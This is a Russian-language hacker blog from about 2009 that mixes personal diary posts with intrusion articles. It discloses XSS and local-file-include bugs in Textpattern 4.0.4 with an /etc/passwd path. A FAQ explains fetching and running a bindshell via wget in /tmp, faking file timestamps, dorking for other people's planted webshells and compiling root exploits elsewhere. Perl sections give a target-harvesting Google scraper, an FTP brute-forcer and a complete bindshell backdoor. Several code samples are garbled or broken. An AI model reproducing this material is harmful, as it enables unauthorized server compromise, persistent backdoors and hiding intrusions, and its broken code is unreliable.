3 день

Третий день уже не могу собраться. Занимаюсь всякой шнягой. Слухаю музыку, играю на гитаре, чешу языком в магенте, ржу над  демотиваторами.
Кто нибудь пните меня под зад.
Надо...

Учебный год.

Учебный год закончился. Впереди учебный год. Всех с наступающим Хеллуином. Чмоки Чмоки

textpattern 4.0.4 bugs

Активная XSS:

http://test1.ru/textpattern/index.php?event=admin
 Поле "Логин" не фильтруется. Появялется возможность выполнить и сохранить скрипт скрипт.

Local include
http://test1.ru/textpattern/?event=./../../../../../../etc/passwdNULLbyte
code:
...
        $inc = txpath . '/include/txp_'.$event.'.php';
        if (is_readable($inc))
            include($inc);
            ...
Так же: в админ панели залить php шелл можно через форму для загрузки файлов.
StraNger

HZ под флудом

Хзону уже 3 день атакуют воены упячки. Админы и модеры в поте лица трут посты и банят засранцев. =D

мну качок

Записался в спортзал. Буду бодибилдером-хакером.

Самый обыкновенный пост

Пора уже готовится к НГ. Хочется отметить ярко. 2010 все таки.
Портал потихоньку начинает заводиться. Активность заметна сразу.
Кстати, куда фрайз делся??

The exploited Fuck the system

Fuke the system
ааАааааааАааааааааааааааааааааа !! =) гг

GetRoot жив.

Честно сказать я уже начал сомневаться, что проект поднимется. Но как оказалось напрасно. Гет рут живее всех живых. Снова в теме.
Алилуя товарищи.
getroot.ru
Чего собственно ждем и желаем. Хочется побольше адекватных людей. Как я уже упоминал люди это главное. Хочется побольше норм релизов (статеей хватает вроде.) Вообщем всего хорошего.

Как писать тру хек код.

Гулял по сетке наткнулся на этот текст:

.............
The other thing is write clear specifications as you go - as you develop the program
you will get sudden flashes of insight "ah ha - That's what it should do" - if you are on
the right track carry on. If not throw away ALL your code and start again.

Oh and listen to your subconscious - if you get the " this is not right but I don't know why "
feeling - stop - conversely if you get the " I know this is right " feeling don't stop, just
turn off your brain and type the code in.

There is a mis-conception - the best programs "write themselves" so they need no design
they have always been and they will always be - you just have to see them and write them down.
At first you grope blindly and then you see them.

(This is the Platonic view of programming - that programs have a priori existence,
we don't invent them, they have always been, we perceive them and write them down

<this is the reason why two independent programmers when given a problem to solve
often produce identical (to within renaming of parts) programs - since there is
only one solution - the correct solution>


/Joe

аве, ExZoD

Недавно экзод вернулся из армии. Здорово) Хотя я с ним близко не знаком.
Надеюсь что будет активен на хз. Все таки люди это главное.

Блин, опять пришлось шаблон сменить. Прошлый слишком сужал поля.
Этот даже совсем не в моем стиле, но пусть.

Кодерские хаки

[stranger@localhost ~]$ date
Сбт Дек 5 00:23:09 MSK 2009

[stranger@localhost ~]$ cat /home/stranger/h3kcode.txt
Ну для начала стоит определиться что такое «хаки».
В моем понимании это какие то нестандартные, красивые, оригинальные решение, которые явно отличаются от других. В общем что то умное и не ординарное. Собственно в этой статье я приведу пример нескольких хаков на тему кодинг. Вообще зачем они нужны? По моему главная причина это так называемый brainfuke, который является любимый занятием любого хакера/кодера. Ну и вторая причина читать данный материал – повышение уровня знания языка. Кстати примеры будут на Си.
Ну что ж. Теперь, когда я заполнил выделенную память введением, можно начинать fuke.


---[h3k 01] ---
//Очень маленькое тело
Первый хак заключается в том, что бы написать программу, которая выводила 10 раз подряд рандомные (псевдослучайные) числа. Но. Тело функции main() не должно превышать 4 символов. При том – нельзя писать доп. Функции, нельзя инклудить какие либо файлы кроме stdio.h.

Думаю ясно что 4 символами такую программу не написать (а может можно?)). Нам нужно куда то вынести этот код:

int i=0;
while(i[10)
{
printf(%i,rand(1000));
}

Но не забываем, что функции создавать нельзя. Но с помощью макроподстановок в дириктиве #define можно выполнить этот код. Смотрим:

#include [stdio.h]
#define RND int i=0,g=random(100); while(i[10){printf("%d",g);printf("\n");i++;}

int main()
{
RND;
}

Ну вот.) получилась программа из трех букв xdd
На самом деле макроподстановка довольно удобная вещь. К примеру показ баннера вашей программы. Достаточно написать

#define banner printf(«Powed by StraNger»);

И не нужно пихать код в отдельную функцию

---[h3k 02] ---
//Цикл без цикла
Давайте попробуем сделать такой трюк – нужно написать программу которая бы перебирала указанные числа по порядку и каждое новое число сумировало с предыдущим.
Но главная задача в том, что бы не использовать при этом операторы циклов.

Для начала давайте прикинем какой код будет если мы внедрим цикл(для 10 раз):

- - -
int i=0, stat=5;
while(i[10)
{
stat=stat+(stat-1);
i++;
}
- - -

Теперь нужно избавится от цикла. Конечно, можно было бы выполнять 10 раз схожий код, но это как минимум глупо. Давайте лучше вспомним, что такое оператор goto. Как известно от служит для “прыжка” программы к какой либо метке. Ну например:

- - -
if(a]0)
goto error;
else
//Тут какие то действия
errot:
printf(“OH!\n”);
- - -

Если а>0 то программа перескочит к метке error и выполнит код, который мы в ней написали.
А что нам мешает таким образом организовать цикличные действия. С помощью двух меток и двух goto. Смотрим:

#include [stdio.h]
int main()
{
int i=2,stat=0;
//Первая ссылка
one:
if(stat[10)
{
i=i+(i-1);
stat++;
goto tho;
}
else
printf("The end, i=%d",i);

}
}

Когда программа доходит до первой ссылки она проверяет переменную stat. Если она еще меньше 10, то нужно выполнять вычисления (как очередной шаг цикла) и увеличивать счетчик. Далее происходит переход ко второй метке , там выполяется точно такая же проверка.
Внимательный читатель заметит, что программу можно значительно уменьшить.
Вот так:

#include [stdio.h]
int main()
{
int i=2,stat=0;

one:
if(stat[10)
{
i=i+(i-1);
stat++;
goto one;
}
else
printf("The end, i=%d",i);
}

Как видите мы попросту выполнили переход к этой же метке.
goto самый ненавистный си оператор.
Эдсгера Дейкстры сказал: “качество программного кода обратно пропорционально количеству операторов GOTO в нём"
Действительно код становится мене понятным. Но как видите иногда его можно применить весьма оригинальным способом.
На самом деле, это не единственный способ организовать “цикл без цикла”
Если вызывать функцию рекурсивной, а в ней проверять значение счетчика получится примерно тоже самое. Вот так:

int step();
int i;
int main()
{
step();
}

int step()
{
if(i[10)
{
i++;
step();
}
else
printf("%i",i);
}



---[h3k 03] ---
//Обманутый strcmp
В этом хаке мы попытаемся обмануть функцию strcmp. Как надеюсь вы знаете он сравнивает две строки, нам же нужно что бы эти строки были не равны между собой, а функция определило противное.

На самом деле тут ничего сложного. Давайте посмотрим как например строка fukeworld располагается в памяти:
f a k e w o r l d\0
нас интересует именно конечный символ \0 он указывает на окончание строки.
Теперь вспомним, как работает strcmp. Она сравнивает две строки посимвольно до символа окончания строки (\0). Вы наверное поняли к чему я веду. Если нет смотрим пример:

#include [stdio.h]
int main(int argc, char argv[])
{
int integ;
char *w1="fuke\0world";
char *w2="fake";
integ=strcmp(w1,w2);
printf("%i\n",integ);
}

Здесь мы так скажем принудительно указали конец строки, используя символ \0. Если отсечь часть после него, то получатся как раз равные строки.
Если вы протестируете пример, то программа должна вывести на дисплей цифру 0. Это результат выполнения функции strcmp, значит строки равны.

Ну а если сделать так:

char *w1="\0fuke world";
то все будут думать, что строка пуста.

---[h3k 04] ---
//forever... oh no!
Представим себе вот такой код:

#include [stdio.h]
int main(int argc, char argv[])
{
int i=1;
for(i=1;i]0;i++)
{
printf("forever");
}
}

Как видите здесь запускается бесконечный цикл. В нем на экран выводится слово forever.
Хак заключается в том, что бы изменить программу таким образом, что наш цикл через какое то время останавливался и не был бесконечным. При том нельзя писать какие то операторы перед циклом (и в нем соответственно), нельзя создавать функции.

Здесь нам на помощь приходит опять #define. Нужно задать какую то константу, которая бы изменила работу цикла. В теле используется только printf, значит ее и нужно подставить в define:


#include [stdio.h]
#define printf continue;
int main(int argc, char argv[])
{
int i=1;
for(i=1;i]0;i++)
{
printf("forever");
}
}

Попробуйте запустить и вы уведите, что цикл не бесконечный. Точнее он не будет выполняться вообще.

---[h3k 05] ---
//10 способов создать бесконечный цикл.
С первого взгляда кажется способов выполнения действия бесконечное число раз не так уж и много. Но на самом деле это не так. Посидев 5 минут с блокнотом я нашел 10 способов (откинув однотипные решения), хотя думаю что можно найти их гораздо больше


***************
1) while(true) {}
***************


**************
2)for (;;) {}
**************


**************
3)
int i;
for (i=0;i]0;i++) {}
**************


**************
4)
int i=1;
while(i]0)
{i++}
**************


**************
5)
repeat:
printf("h");
goto repeat;
**************


**************
6)
int i;
repeat:
i=0;
while(i[1)
{
goto repeat;
i++;}
*************


*************
7)
while(1==1)
{}
*************


*************
8)
while("")
{}
*************


*************
9)
int i;
rock:
do
{
goto rock;
i++;
}
while(i[10); //самое интересное, что тут условие вообще будет игнорироваться
************


************
10)
int i;

for(i=0;i[10;i++)
{
if(i[10)
i--;
}
************
---[h3k 06] ---

//без условия.
Хак заключается в следующем – нужно написать программа которая бы принимало какое то число аргументов. В каждом аргументе находится один символ, программе нужно найти среди них нужный (пусть будет 'w'). При том – нельзя пользоваться условными конструкциями (кроме условия И ИЛИ).

Для сравнения строк будет использовать функцию strcmp(). При полном совпадении она возвращает ноль. Проблема как раз в том, как проверить результат функции.
Смотрим код:


#include [stdio.h]

int main(int argc, char *argv[])
{
int i;
for(i=0;i[argc;i++)
{
(strcmp(argv[i],"w")!=0) || printf("Нужная буква в(во) %i аргументе\n",i+1);
}
}

Происходит примерно так:
значение функции strcmp не равно нулю или (равно нулю) мы нашли нужный символ. Как видите несложно.
Первый хак заключается в том, что бы написать программу, которая выводила 10 раз подряд рандомные (псевдослучайные) числа. Но. Тело функции main() не должно превышать 4 символов. При том – нельзя писать доп. Функции, нельзя инклудить какие либо файлы кроме stdio.h.

EOF
StraNger

Вооруженный пингвин. Компактный софт для боевых действий.


**********
intro
**********
У каждого хакера должен быть свой личный набор боевого софта. Этот набор должен отвечать кое каким требованиям, которые каждый устанавливает сам. Я например, люблю небольшие программы, которые не обременены большим количеством функций.
Кому то нравятся программы гиганты с множеством встроенных возможностей.
В этом материале я решил описать несколько малоизвестных тулз, которые иногда могут работать почище популярных утилит.

«Маленький значит красивый» - именно этим принципом мы и будет держаться.

*********
body
*********
---------
webi.c
---------
enter
Первой утилитой, которую мы сегодня разберем, будет webi.c. Ее автором является лицо под ником Condor. Программа выполняет функции подделки (или инъекции, как сказано в описании) HTTP пакетов. Собственно она является аналогом (почти) windows утилиты InetCrack.
Скачать сишник можно по этой ссылке:

description
Программа имеет несколько ключей, давайте разберём  основные из них:
-s
Указываем  адрес веб сервера (127.0.0.1, hackzona.ru)

-u
URL(/cgi-bin/script.php)

-p
Порт. По умолчанию — 80

-m
Метод отправки. Наверное самый нужный ключ.
Возможные варианты:
{GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT, OPTIONS, PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE}

-r
Рефферер

-a
Юзер агент.

-z
Username и пароль. Например, login:pass

-t
Proxy, опять же proxy:port

-d
Данные

-?
Справочка

Компилируется так:

[stranger@localhost ~]$ gcc /home/stranger/webi.c -o /home/stranger/web



Пример:

[stranger@localhost ~]$ /home/stranger/web -s hackzona.ru -u http://hackzona.ru/index.php

 


in source code...
Давайте теперь взглянем на исходный код.
Помимо главной функции написаны еще три:
void usage(char *arg)
char *itoa(int i)
void base64Encode(char *intext, char *output)

Первая при необходимости выводит справку для программы.
Вторая, преобразовывает  int строки  в char. Она написано специально для совместимости с некоторыми системами (т.к. иногда  ее просто в них нет)
Ну и третья функция производит base64 кодировку.
В главной (main) функции, c помощью конструкции switch  проверяются ключи.
Далее происходит сама генерация пакета.
Ну и конечной частью кода является отправка пакета и прием ответа.

Other
В принципе те же самые действия можно произвести с помощью той же netcat, но согласитесь, эта программа более удобна. К тому же ее исходный код занимает всего 300 строк.

-----------
synner.c
-----------
enter
Итак, наш следующий подопытный называется synner. Автором этого инструмента является человек под ником sm4x.
Программа является  генератором TCP пакетов и служит для тестирования брандмауэров и производства DoS атак. Она может отправлять большие TCP пакеты с определенными TCP флагами, MAC и IPS
Слить исходник можно по этой ссылке

description
Давайте рассмотрим некоторые ключи программы.
Прототип использование вот такой:

[root@localhost stranger]#
./synner -i -s -S -d -D

-i
Имя интерфейса

-x
Режим DoS атаки

-s
Исходный айпишник (если производится спуфинг)

-S
Исходный MAC, опять же для спуфинга

-d
ип цели

-D
Соответственно MAC адрес цели.

-l
Размер пакета

-f
TCP флаги — s,a:p:u,r:f
(s)yn, (a)ck, (p)push, (u)rgent, (r)eset, (f)in, (x)=ALL

Компиляция производится так:
[root@localhost stranger]# gcc /home/stranger/synner.c -o /home/stranger/synner


Замечу, что для использования программы вам понадобятся root права.
Ну что ж, давайте рассмотрим пару примеров:

[root@localhost stranger]#./synner -ieth0 -x -s192.168.1.1 -S00:AA:BB:CC:00:00 -d192.168.1.219 -D00:dd:ee:aa:dd:bb -p 6984 -l 512 -u5555 -fas

[root@localhost stranger]#./synner -ieth0 -sr -S00:dd:ee:aa:dd:ff -d192.168.1.219 -D00:dd:ee:aa:dd:bb -p80 -u500 -fx

in source code...
В общей сложности исходный код занял 400 строк.

Функция...
unsigned short calc_checksum(unsigned char *, int );
... вычисляет контрольную сумму, которая необходима при формировании пакета.

Так же в коде есть структура tcphdr. Она содержит в себе структуру TCP пакета. Если хотите более подробную информацию о ее полях обратитесь к спец. источнику.

Other
Как видите, программа довольно проста в использовании, но при этом является мощным инструментом, который займет достойное место в нашей коллекции.

A-SnIf.c
enter
Следующим на очереди стоит программа-сниффер A-SnIf. Ее создателем является некто
по имени Asynchro. 
Загрузить код можно тут
http://packetstormsecurity.org/sniffers/A-SnIf.c
Это довольно простой инструмент для перехвата пакетов. В описании автор указал даже, что это "сниффер для обучения". Тем не менее он работает, давайте разберемся как.

Description
По сложившийся традиции давайте рассмотрим ключи программы:

Прототип:
[root@localhost stranger]#./a-snif [-i interface] [-a address] [-p port] [-l logfile] [-h] [-d]

-i
Ключ указывает на интерфейс, который нужно использовать вместо установленного по умолчанию.

-a
Адрес, с которого нужно «снифать» пакеты.

-p соотвественно порт, который нужно контролировать

-l ключ создает лог файл, куда будет писаться результат

-d
вывести выходные данные.


Вот довольно наигранный пример:
[stranger@localhost ~]$ ./snif -a 192.168.1.1 77 /home/stranger/log.txt

Собрать программку можно обычным gcс, как и в прошлых примерах.
Да и, для использования нужны рут права.

Other
Программа заняла около 400 строк. Это сравнительно мало.
Безусловно, в этом сниффере мало функционала, но не смотря на это он практичен.

cscan.pl
enter
Следующая тулза является cgi сканером (или сканером уязвимостей). Написана она на perl человеком с ником iceburg.
По сути ничего отличительного в ней нет. Утилита работает с базой данных в которой хранятся уязвимые скрипты.  Ну как с базой… Обычный текстовик с уязвимыми скриптами. =)
Скачать сценарий можно по этой ссылке:

Description
Для работы с программой вам понадобиться создать базу данных.
Ну и естественно добавить туда какое то кол-во уязвимых скриптов (гоу ту багтрак)
Далее можно приступать к работе.

Ключи:

-p
Порт

-h
Хост

-d
Имя файла с дырявими сценариями

-l
Имя лог файла

-m
С помощью этой опции можно просканировать диапазон адресов.

Смотрим пример:

[stranger@localhost ~]$ perl cscan.pl -p 80 -h 127.0.0.1 -d cgi.database -l blah.log

[stranger@localhost ~]$ perl cscan.pl -p 80 -m 127.0.0.1-255 -d cgi.database -l blah.log

in source code...
Код занимает всего 150 строк.
В нем происходит обычное построчное считывание из файла. Далее идет обращение к веб серверу.

Other
Несмотря на простоту, сканер может помочь в некоторых ситуациях. В принципе в сети есть много аналогов, даже на других языках.


dittrich.pl
enter
Следующая программа нашей коллекции это dittrich. Так же как и предыдущая она написана на языке perl. Ее автор- David Dittrich. Утилита выполняет одну функцию – собирает информацию о целевой системе. Для своих злых дел она использует nmap и netcat. Так что проследите, что бы оные были у вас в наличие.
Скачать скрипт можно тут:
Description
В качестве аргумента программе нужно передать адрес хоста. Но конечно возможно использовать несколько опций:

-repeat [N]
Тут мы указываем сколько раз нужно пытаться собрать данные. Если не указать значение программка будет мучить целевую систему пока та работает =)

-sleep [N]
Сколько секунд нужно «спать» перед следующей попыткой
Дефолтовое значение указано в сорце

-log
Имя лог файла.

in source code...
В начале кода задано несколько констант.
Вроде путь до nmapa или время «спячки» между запросами.
Ну и далее идет собственно сам процесс сборки данных.
Он в основном опирается на использование «сетевой кошки» и нмапа.

Other
В итоге довольно удобный инструмент, берет на себя ввод команд в nmap или netcat и экономит наше время.

ftp-spider.pl
enter
Ну и завершает наш топ инструмент с названием  ftp-spider.  Ее автором является Nithen Naidoo. Программа написана на perl. Она сканирует ftp сервер на разные уязвимости, вроде неправильной расстановки прав доступа или обнаружение анонимного доступа. Есть возможность составлять структуру каталогов.
Слить сценарий можно здесь:

Description
Прототип использование таков:

[stranger@localhost ~]$  perl ./ftp-spider.pl [-h] [-v] [-d] [-k] [-P] [-w] [-s server] [-u username] [-p password] [-r remote] [-i ignore] [-f filterfile]

-v
Подробный вывод. В том числе все дерево каталогов и списки файлов.

-P
Пассивный режим работы

-i
Тут задается регулярное выражение. Файлы, которые ему соответствуют, игнорируются.

-p
Пароль. Опционально.

-w
Перечислить все каталоги, которые доступны для записи.

-s сам сервер

Вот небольшой примерчик:

[stranger@localhost ~]$  perl ./ftp-spider.pl –s 127.0.0.1 –v

Other
Думаю это очень полезный скрипт. Полезен именно тем, что не просто перебирает имена, пытаясь найти уязвимый ftp –шник, а пытается найти баги, которые появляются вследствие лени админа.

**********
Outro
**********

Ну что ж. На этом все. Собственно целью данной статьи не было побуждать вас использовать именно этот софт. Просто я хотел показать несколько удобных программок, которые могут быть полезны в определенных ситуациях. Вообще акцент делался именно на то, что инструменты были небольшие по размеру и их функциональность довольно усечена. Но это нельзя считать недостатком. По моему мнению, такие утилиты использовать гораздо приятнее и удобней.

StraNger


h3k FAQ

Написал небольшой фак, может кому интересно
будет почитать. Постарался снабдить еще доп. инфой.
q№1.
На удалённом сервере присутствует нужный нам файл. У вас хватает прав что бы прочитать и изменить его. Но - задача заключается в том, что бы дата модификации осталась той же что и была (либо изменненой на любую другую фэйковую)

Решение:
Для этих целей в Linux существует команда touch.
У нее существует опция -t, которая меняет дату и время модификации файла.
Например:

[stranger@localhost ~]$touch -r 0909090909 /home/stranger/aaa.html

Как вариант существует еще опция -r. Она изменяет дату модификации нашего файла, на дату модификации указанного. Например:

[stranger@localhost ~]$touch -r /etc/passwd /home/stranger/aaa.html

Кстати в php есть одноименная функция для изменения времени доступа к файлу:

int touch (string filename [, int time [, int atime]])

Например:



Этот код меняет время модификации файла $filename на текущее время.

Если уж разговор зашел о программировании приведу пример и на си.
ТУт есть структура stat (описана в sys/stat.h). У нее есть поле st_atime оно отвечает за время последнего доступа.
Опять же небольшой пример:

#include
#include // необходимый заголовочный файл
int main(int ac,char *ag[])
{
struct stat buffer; // структура для хранения инфы
if(ac!=1) если кол во аргументов не 1 то
{
if(stat(ag[1],&buffer)!=-1) //если не произошла ошибка то
buffer.st_atime="09090909"; //меняем
else
printf("Не корректное имя файла\n"); // если ошибка
}
else
printf("Пожалуйста введите необходимые аргументы\n");
}



q№2.
Вам удалось найти уязвимость на сайте, через которую можно выполнять команды на сервере. Каким способом и куда можно загрузить и запустить биндшелл(либо другой файл)

Решение.
Вообще загружать файл можно в любую доступную нам директорию (доступную для записи). Но лучше всего грузить файл в директорию /tmp (дириктория временных файлов),
т.к. она открыта для всех, и проблем с правами скорее всего не возникнет.
Непосредственно загружать файл можно несколькими способами
Использовать можно:
wget, get, curl, lynx, links.
Все зависит от конкретной ситуации. Например на сервере может отсутствовать wget.
Для проверки существование программы используем команду which <нужная нам прога>
Итак разберем примеры:


[stranger@localhost ~]$cd /tmp //переход в каталог
[stranger@localhost ~]$wget http://path.com/file.pl // загрузка
[stranger@localhost ~]$chmod 755 file.pl //установка прав
[stranger@localhost ~]$perl file.pl //запуск


Опять же частенько бывают ситуации, когда нужно выполнить все действия через php код:



НУ и давайте рассмотрим способ через lynx. Для тех кто не в курсе lynx - это станадртный консольный браузер. Делается так:




q№3.
Вам удалось взломать сервер и получить доступ к shell оболочке, при чем вы знаете пароль root. Но при вызове команды su, на экране появляется следущее сообщение:


standard in must be a tty


В чем проблема?

Решение.
Скорее всего проблема заключается в отсутствии привязки текущей сессии к псевдотерминалу (или отсутствие поддержи псевдотерминала).
Для уверенности можно набрать команду tty если ответ будет подобен этому:


tty: not a tty


Значит все именно так.
Решить данную ситуацию можно например установив бэкконнект с поддержкой псеводотерминалов. Для этого можно использовать программу ttyX, либо Bidlink.


q№4
Просканировав сервер на открытые порты, ты решил пробить несколько netcat -ом, в итоге на одном из открытых портом был обнаружен такой странный баннер: "??????#??'??$".
Какой демон мог бы носить такой баннер?

Решение.
Ответ прост, так же как и задача - такой баннер носит telnet демон.


q№5.
В какой то момент твоей хакерской деятельности тебе срочно понадобился веб шелл на любом сайте. Но в наличии такового не оказалось, что делать?

Решение.
Как вариант можно поискать уязвимые сайты в гугле (думаю запросы показывать смысла не имеет).
Но более эффективный способ, это искать уже залитые веб шеллы. Тут приведу пример:


PHPKonsole PHPShell filetype:php -echo


Это запрос будет искать залитый PHPKonsole шелл.
А вот этот:


intitle:c99shell filetype:php


c99shell шелл.
Думаю суть запросов ясен.


q№6.
(опять на знание Linux команд) Ты получил доступ к Linux серверу с правами обычного пользователя. Вызвав команду who ты убедился, что находишься один в системе. Что бы дейтсвовать дальше нужно узнать как часто администратор (и другие пользователи) посещают терминал. Как ты это сделаешь?

Решение.
Делается это с помощью команды last. При вводе команды без аргументов она попросту выведем весь лог входов и выходов. Можно ограничить вывод с помощью опции -n:


[stranger@localhost ~]$last -n 15



q№7.
Ты получил доступ к серверу с правами пользователя. Твоя цель - root. Воспользовавшись командой uname -a ты узнаил что на сервер крутиться Linux ядро под которое существует local root сплоит. Но выполнив такую команду:

[stranger@localhost ~] which gcc


Терминал выдал вот это:


/usr/bin/which: no псс in (/usr/lib/qt-3.3/bin:/usr/kerberos/bin:/usr/lib/ccache:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/you/bin:/home/you/bin)


Что делать?

Решение: 

Если кто не понял, то выше приведённая надпись указывает на то, что отсутствует компилятор gcc. В идеале она команда должна была показать нам путь до компилятора.
Для начала можно попробовать использовать cc. Если и такого не нашлось, то дела плохи.
Выходом из данной ситуации будет компилирование сплоита на другой тачке и загрузке готового бинарника на целевой сервер.
Но. тебе нужно учитывать что бы система на которой ты будешь собирать наш эксплоит была такой же по архитектуре как и целевая. Иначе все труды напрасно.
EOF


StraNger aka reaL StraNger

Жизнь продолжается

Врачи == олени. Сегодня поняли, что у меня нет пневмонии.
Пока валялся в койке появилось парочка идей для новой статейки и релизов.
Решил скачать CoD5 (зачем??). Погамаю... расслаблюсь.
Еще раз кстати поздравляю сципа =))
Пойду менять диз блога.

Прощайте

Прощайте дорогие товарисщи.
Ложусь на неопределенный срок в больницу с пневмонией.
Там не будет не виндос не линукс. И си там не будет. (((

Ужес

Ппц. Еле встал с постели. Сопли капают на клаву. Температура 2 дня была под 39
Школу на карантин закрыли.

Лежит

Бля. ХЗ лежит, гетрут лежит.
Чувствую себя бездомным

Unknown

Что то тут решил асм поучить.)
Даже не знаю что их этого выйдет.... просто потянуло
Нашел книжонку Асемблер в Linux для программистов С.
Сижу читаю. Извращенец я
На дельфи с гордостью забил.
Так вот.


КаникулЫЫ

За снежком незаметно подкрались каникулы.


Прежде всего нужно выразить сочувствие модераторам.
Ну а так все отлично. Бум спать.

Снежок...

На выходных выпал снег. По традиции на утро. Зимa сцуко наступает.
Сразу появилось новогоднее настроение, но потом вспомнил, что да 2010 еще 2 с лишним месяца.
Продолжаем существовать....

www.gfs-team.ru

Сижу значит щаз, сижу... музыку слухаю.
Думаю дайка на сайт gfs тимы зайду.
Захожу сморю - обновились ребятки. Выложили 2 релиза и статью.
Правда еще 13 числа. Но все таки.....

пэтоН

За последние семь дней (неделю) уже три моих знакомых начали учить питон.
Офигет.
По мне так перл нуно любить.
ХОтя куда мне.

Perl – лучший друг хакера.



Введение && Почему нам так подходит перл?
Здравствуйте уважаемые читатели.
В этой статье я постараюсь описать некоторые аспекты программирования для perl, которые, несомненно пригодятся для хекера.
Почему перл? Много причин... Во-первых, простота. Да перл действительно очень простой язык. Это язык для тех, кто не хочет морочить себе голову набивая кучу кода, что бы вывести фразу "Hello word". А разве не это нам нужно? Простота и скорость создания скрипта. Так сказать, что бы писать программы на лету.
Самое интересное, что на нем можно написать приложение для веб, а можно, например, скрипт для передачи шеллкода через уязвимый буфер. Не правда ли здорово?)
Побудила меня написать этот материал статья Cobalt -а -"Perl - инструмент хакера", по моему мнению, статья получилась очень не полной. А тема интересная.
Ну что ж пора переходить от слов к делу.

Этюд 1. Ищем suid биты.
Представим, что нам необходимо просканировать всю систему и найти файлы с suid битом (думаю ясно для чего). На перле это сделать просто также, как два байта передать.
Набросаем примерный алгоритм функции поиска:
*Функции принимает аргумента в качестве стартового каталога.
*Переходим в указанный каталог и начинаем поиск
*Проверяем файлы, а если встречаем каталог, то вызываем функцию повторно (рекурсивно)
Да, если встречаем "." или ".." то пропускаем их. Т.к. первая указывает на текущий каталог, а вторая на каталог выше.
Собстенно сам код:



Код:
#!/usr/bin/perl use Cwd; #С помощью этого модуля мы определим текущий каталог sub Findf { my($work)=shift; my($start)=&cwd; chdir($work) || die "Error!\n"; #переходи opendir(DIR,".") || die "Error\n"; #открываем дирикторию my @names=readdir(DIR) || die "Error!\n"; #читаем файлы closedir(DIR); foreach my $name(@names) { next if($name eq "."); #пропускаем, если это указатель на каталог next if($name eq ".."); if(-l $name){next;} #если ссылка пропускаем if(-d $name) #если это директория, то вызываем нашу функцию {&Findf($name);next;} if(-u $name)# если установлен суид бит выводим инфу { print "Найден суидный файл - $name\n"; } } chdir($start); } &Findf(".");


В этом коде для определения suid бита у файла мы используем опцию -u. Так же можно было использовать модуль File::stat. Но в нашем случае проще обойтись ключом -u.
Вот еще несколько опций для определения статусной информации о файле:


Код:
-e - проверка существования файла -z - файл существует и он пустой -r - У нас есть права на чтение файла -w - у нас есть права на изменение файла -x - у нас есть права на редактирование файла -o - мы являемся владельцем файла -f - это обычный файл -d -это каталог -l - это ссылка -u присутствует suid бит -g присутствует guid бит -k присутвтвует липкий бит (steek bit) -T - это текстовой файл -B - это бинарный файл




Можно, например, составить список каталогов, которые доступны нам.

Этюд 2. Парсинг? *YES*.
Скажу вот что - написав всего лишь один скрипт для парсинга ответов гугла и наши возможности практически безграничны.
Ведь google это самый мощный поисковик. С помощью него мы сможем получить гораздо больше информации о сайте & сервере, чем при прямом запросе к ресурсу.
Например, можно провести ReversIP разведку, или составить структуру сайта. Вот только проблема в том, что google при большом кол-ве запросов попросту банит нас. Так что нужно быть аккуратными.
Наш пример будет делать в гугл запрос "inurl: id=" и выбирать ссылки из полученной страницы.
Что будем использовать в нашем коде:


Код:
HTML::LinkExtor - для поиска ссылок. LWP::UserAgent - для запросов.


Поехали!


Код:
#!usr/bin/perl use LWP::UserAgent; use HTML::LinkExtor; sub parser { my $ua=LWP::UserAgent->new(); #создаем объект $in=0; for($in=0;$in<2;$in=$in+10) # первые две страницы { my $url="http://google/search?q=inurl:id=&start=$in"; $ua->agent("GR-TEAM sql finger"); my $req=HTTP::Request->new(GET=>$url); $req->referer("www.getroot.ru"); my $resp=$ua->request($req); $html=$html.$resp->content();#получаем пагу } $p = HTML::LinkExtor->new(\&cb);#все ссылки будут обрабатываться в cb() $p->parse($html); sub cb #функция для обработки ссылок { @links=@_;#принимаем аргумент $i=0; foreach $na(@links)#перебираем ссылки { if(index($na,"id=")!=-1)#если ссылка не левая, а нашим запросом { if(index($na,"inurl:")==-1) {@urls[$i]=$na; $i++} # то закидываем это все в массив } }

Функция cb обрабатывает ответы объекта $p. В качестве аргумента ей направляются наши ссылки.

Парсер конечно не из лучших, но для примера подойдет.


Этюд 3. Брутофорс по нашему.
С помощью модуля NET::FTP простой брутajhc на перл можно написать за 10 минут.
Удобство в том, что не нужно вдаваться в подробности работы протокола и можно уделить больше времени алгоритму. Итак, брут.
Сначала забьем пароли в отдельный массив, а потом попросту будет из оттуда вынимать и пытаться подключиться.
Смотримкод:



Код:
use Net::FTP; sub ftpb { print "Введите хост:\n"; $hostftp=; print "Введите имя пользователя\n"; $loginftp=; print "Введите путь до файла с паролями\n"; $passftp=;#приняли данные open(FILE,$passftp) || die "File pass not found\n";#открываем файлик $index=0; while() { chomp($_); @passwordsftp[$index]=$_; #записываем пароли в массив $index++; } $max=@passwordsftp; my $brut=Net::FTP->new($hostftp) || die "Не получается подключиться к указанному хосту\n"; for($index=1;$index<$max;$index++)#запускаем главный цикл { $ftp->login("$loginftp", "$passftp") || next; #пытаемся print "Пароль $passftp подошел)\n"; } }


Что сюда можно добавить.
Во-первых все входные данные желательно прогонять через функцию chomp. Она удалит знаки перевода каретки (\n), если такие имеются.
Во-вторых, думаю просто обязательно нужно включить многопоточность.
В-третьих, можно включить функцию, позволяющую пользователю самому выбирать, например timeout. Таймаут можно указать при подключении к хосту:


Код:
my $brut=Net::FTP->new($hostftp,Timeout => число) || die "Не получается подключиться к указанному хосту\n";


Этюд 4. BindShell.
Таксс. Сейчас я покажу пример bindshell бэкдора на perl
Это бывает очень полезно.
Как всегда сначала смотрим алгоритм.
Во-первых, биндим порт.
Во-вторых, запускаем потоки ввода вывода.
В-третьих, запускам терминал.
А вот и сам код:


Код:
#!/usr/bin/perl #bindshell.pl #Usage: perl bindshell.pl & use Socket; $p=56000; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') ); setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); bind(S,sockaddr_in($p,INADDR_ANY)); listen(S,50); while(1) { accept(X,S); if(!($pid=fork)){ if(!defined $pid){exit(0);} open STDIN,"<&X"; open STDOUT,">&X"; open STDERR,">&X"; exec("/bin/sh -i"); close X; } }


Этюд 5. Сканирование под собственные нужды.
Сначала я хотел в этом топе показать обычный сканер портов. Но это скучно.
Покажу ка лучше вот что: тоже сканер, но сканировать он будет указанный диапазон ip, на один открытый порт, тот который мы укажем.
